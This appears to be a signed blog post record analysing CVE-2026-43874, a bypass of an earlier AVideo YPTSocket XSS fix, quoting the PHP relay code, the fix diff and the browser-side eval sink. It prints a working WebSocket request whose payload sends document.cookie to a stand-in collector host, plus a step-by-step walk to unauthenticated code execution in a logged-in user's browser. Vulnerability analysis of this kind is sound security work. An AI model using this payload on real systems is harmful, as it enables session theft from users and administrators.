-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The strip and the dispatcher are scoped to different keys\n\nYPTSocket is AVideo's WebSocket plugin. It exists to push server-originated UI updates and live signaling into any browser that holds a token. The whole dispatch surface is one PHP class, `plugin/YPTSocket/Message.php`, that runs inside a Ratchet event loop and relays JSON between callers.\n\nTokens are issued by an unauthenticated HTTP endpoint, `plugin/YPTSocket/getWebSocket.json.php`. The check is one line:\n\n```php\nif(!AVideoPlugin::isEnabledByName(\"YPTSocket\")){\n $obj->msg = \"Socket plugin not enabled\";\n die(json_encode($obj));\n}\n$obj->error = false;\n$obj->webSocketToken = getEncryptedInfo(0);\n$obj->webSocketURL = YPTSocket::getWebSocketURL();\n```\n\n`getEncryptedInfo()` mints a token valid for twelve hours, whose `from_users_id` field is whatever `User::getId()` returns for the caller. A caller who has not logged in gets a token whose user id is zero, whose `sentFrom` is the string `'browser'`, and whose `isCommandLineInterface` is false. Those three fields are exactly what the server uses, eleven days later, to decide whether to strip eval-able payload from the caller's messages.\n\nThe dispatch switch in `Message::onMessage` reads `$json->msg` as the case selector. Three reserved values get reserved handling (`webSocketToken` registers the client, `getClientsList` returns the online list, `TESTING` echoes back). Everything else falls into `default:`, which is where the strip lives. After the April 13 patch, the relevant lines were:\n\n```php\ndefault:\n $this->msgToArray($json);\n if (isset($json['from_identification'])) {\n $json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));\n }\n if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {\n if (is_array($json['msg'] ?? null)) {\n unset($json['msg']['autoEvalCodeOnHTML']);\n }\n if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {\n unset($json['callback']);\n }\n }\n if (!empty($msgObj->send_to_uri_pattern)) {\n $this->msgToSelfURI($json, $msgObj->send_to_uri_pattern);\n } else if (!empty($json['resourceId'])) {\n $this->msgToResourceId($json, $json['resourceId']);\n } else if (!empty($json['to_users_id'])) {\n $this->msgToUsers_id($json, $json['to_users_id']);\n } else {\n $this->msgToAll($from, $json);\n }\n```\n\nThe strip checks two conditions. The first: `$json['msg']` must be an array. If it is, `autoEvalCodeOnHTML` is unset from it. The second: a callback field, if present, must match a JavaScript identifier regex. Both gates target the fields the developer perceived as the relay's payload carriers.\n\nThen control passes to one of four dispatch helpers. Each takes `$json` and forwards it to `msgToResourceId`, which is the only function in this file that calls `$conn->send`. Inside `msgToResourceId`, the payload selection is at lines 329 to 335:\n\n```php\nif (!empty($msg['json'])) {\n $obj['msg'] = $msg['json'];\n} else if (!empty($msg['msg'])) {\n $obj['msg'] = $msg['msg'];\n} else {\n $obj['msg'] = $msg;\n}\n```\n\n`$msg['json']` is the first read. `$msg['msg']` is the fallback. `$msg` itself is the last resort. The April 13 strip ran on one of those three keys, and not the one the dispatcher reads first. This is the aliased-carrier-bypass shape: a strip scoped to a single field name, a dispatcher whose surface is a preference list, and the bypass living in the dispatcher's first preference.\n\n## The bypass is one JSON field\n\nThe request the bypass uses:\n\n```json\n{\n \"webSocketToken\": \"\",\n \"msg\": \"x\",\n \"to_users_id\": \"\",\n \"json\": {\n \"autoEvalCodeOnHTML\": \"fetch('https://collector.example/c?'+document.cookie)\"\n }\n}\n```\n\nThe walk:\n\n1. The token is bound to user 0, `sentFrom = 'browser'`, `isCommandLineInterface = false`. The endpoint that issued it requires no authentication beyond the plugin being enabled.\n2. The message arrives at `Message::onMessage`. The switch case `$json->msg` is the string `\"x\"`. No reserved case matches. Control falls to `default:`.\n3. `msgToArray($json)` converts the decoded object to an array via `object_to_array`. `$json['msg']` is the string `\"x\"`.\n4. The strip's outer condition is true (`isCommandLineInterface` is empty, `sentFrom` is `'browser'`, not `'php'`). The inner gate is `is_array($json['msg'] ?? null)`, which evaluates `is_array(\"x\")`, which is false. The strip is skipped.\n5. Dispatch hits the `to_users_id` branch. `msgToUsers_id` iterates the target user's open resource ids and calls `msgToResourceId($json, $resourceId)` for each.\n6. `msgToResourceId` reads `$msg['json']` first. The attacker's value is non-empty: `{\"autoEvalCodeOnHTML\": \"fetch(...)\"}`. `$obj['msg']` is assigned that value verbatim.\n7. `json_encode($obj)` serializes the envelope and the loop sends it to the target's open WebSocket.\n8. The target's browser is already running `plugin/YPTSocket/script.js`, and the inbound handler executes:\n\n```js\nif (json.msg?.autoEvalCodeOnHTML !== undefined) {\n eval(json.msg.autoEvalCodeOnHTML);\n}\n```\n\nThe eval sink runs in the target's origin with the target's session cookie. The attacker picked the target by passing a numeric user id. An unauthenticated caller now executes JavaScript in any logged-in user's browser, including any admin currently connected.\n\nThere are two compounding errors. The first is the `is_array` gate, which makes the strip skip whenever `msg` is a scalar. The second, and the larger one, is the dispatcher's preference order itself. Three carriers; the patch named one. An attacker who wanted to could put the payload in `$json['msg']` as an array and the strip would fire, but they have no reason to, because the dispatcher prefers `$msg['json']` over `$msg['msg']` anyway. Either way, the payload reaches the client.\n\n## The April 24 commit's own comment names three carriers\n\nThe fix landed eleven days later as commit `9f3006f9a89a34daa67a83c6ad35f450cb91fcce`, authored by Daniel Neto. The author's comment in the diff is the testimony:\n\n```diff\n if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {\n- if (is_array($json['msg'] ?? null)) {\n- unset($json['msg']['autoEvalCodeOnHTML']);\n- }\n+ // Remove from any nested carrier so msgToResourceId cannot relay it via msg/json/fallback paths.\n+ $this->removeAutoEvalCodeOnHTMLRecursive($json);\n if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {\n unset($json['callback']);\n }\n }\n```\n\nThe added comment names three paths: `msg`, `json`, and `fallback`. The April 13 patch covered one of those three. The April 24 patch walks the entire `$json` tree recursively, unsetting `autoEvalCodeOnHTML` wherever it appears, on the explicit theory that the dispatcher reads from more places than the patch author had been thinking about. The fix is correct. The fix is also an admission, written in PHP, that the prior patch was scoped to the wrong unit.\n\nThe three-carrier preference list in `msgToResourceId` is older than either CVE. It was written this way long before `autoEvalCodeOnHTML` existed. Internal call sites in the same file pass payload as `json`, as `msg`, and as a raw envelope, and each call site relies on the dispatcher to figure out which key holds the body. The case-handler for `getClientsList` calls `msgToResourceId(array('json' => $this->clientsUsersId, 'callback' => 'loadCallerPanel'), $from->resourceId)`. The case-handler for `TESTING` calls `msgToResourceId($json, $from->resourceId, TESTING)`, passing the whole envelope. Different internal callers use different carriers, and the dispatcher fans them all out to one render. The April 13 patch chose one carrier to gate because that was the one the original advisory's PoC put the payload in. The dispatcher's actual surface was always three.\n\n## Eleven days, same sink, same reporter\n\nThe reporter on both advisories is the same handle: `offset`. CVE-2026-40911 was published on April 13, the same day the first patch was committed. CVE-2026-43874 was published on April 25, one day after the recursive strip was committed. The same researcher found the original sink, watched the patch land, sent the same payload through the carrier the patch did not name, and reported the bypass inside the same April release window. From advisory to advisory was twelve days.\n\nThis is the [design-debt-driver](/patterns/design-debt-driver) shape. The component is the YPTSocket Message relay; the bug class is *unauthenticated client message reaches a client-side `eval()` via a relay carrier the strip did not see*. CVE-2026-40911 closed the carrier the original PoC used. CVE-2026-43874 closed the carrier the dispatcher actually preferred. Neither patch addresses the design question that produces the recurring class: a WebSocket server that accepts unauthenticated tokens, relays attacker-supplied JSON, and hands the result to a function the browser is going to `eval()` a known field of. The `autoEvalCodeOnHTML` field exists, per the comment added in April, because some server-originated features push code the client should run. The browser cannot distinguish server-originated frames from relayed ones. The strip is the only fence.\n\nThe recursive strip is correct against this class of payload field. Two other handles in the same `script.js` are also code-shaped: the `callback` field is invoked as a JavaScript function name on the client, and `autoUpdateOnHTML` updates the rendered DOM. The April 13 patch added a regex on `callback` to keep it to a valid identifier. The next eval-equivalent field the relay grows, or the next dispatcher path that adds a fourth carrier, will reach the client before the strip is updated to enumerate it. The substrate is unchanged.\n\nPoC: [GHSA-ghcv-22jf-vfxm](https://github.com/advisories/GHSA-ghcv-22jf-vfxm)","closing_line":"The recursive strip closes this CVE. It does not close the relay that `eval`s whatever survives it.","hook_md":"On April 13, 2026, AVideo committed `c08694bf6` to fix CVE-2026-40911, an unauthenticated XSS in the YPTSocket WebSocket plugin. The added patch is eight lines. It calls `unset($json['msg']['autoEvalCodeOnHTML'])`, guarded by `is_array($json['msg'] ?? null)`. Eleven days later, the same researcher, `offset`, reported the same eval sink again. The relay function the patch was supposed to protect, `msgToResourceId()`, reads `$msg['json']` first and reaches `$msg['msg']` only when `json` is empty. The April 13 patch covered the dispatcher's fallback carrier. CVE-2026-43874 is the one the dispatcher reads first.\nThe recursive strip closes this CVE. It does not close the relay that `eval`s whatever survives it.","post_id":327,"slug":"avideo-cve-2026-43874-relay-reads-json-first","title":"CVE-2026-43874: AVideo's Patch Stripped `msg`. The Relay Reads `json` First.","type":"initial","unreadable_sentence":"The April 24 commit's own comment names three carriers. The April 13 patch covered one of three, and not the one the dispatcher reads first."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaiRlKgAKCRDeZjl4jgkQ Jk2gAP9f2/w38GDkASfdYvzDrHgYnjGy62VXUibShh3sjD9O4AD/anoJJZ67aEdZ bJ/v7ngJQXpdiQtQgFnmZTlXfQPSaQA= =5NAJ -----END PGP SIGNATURE-----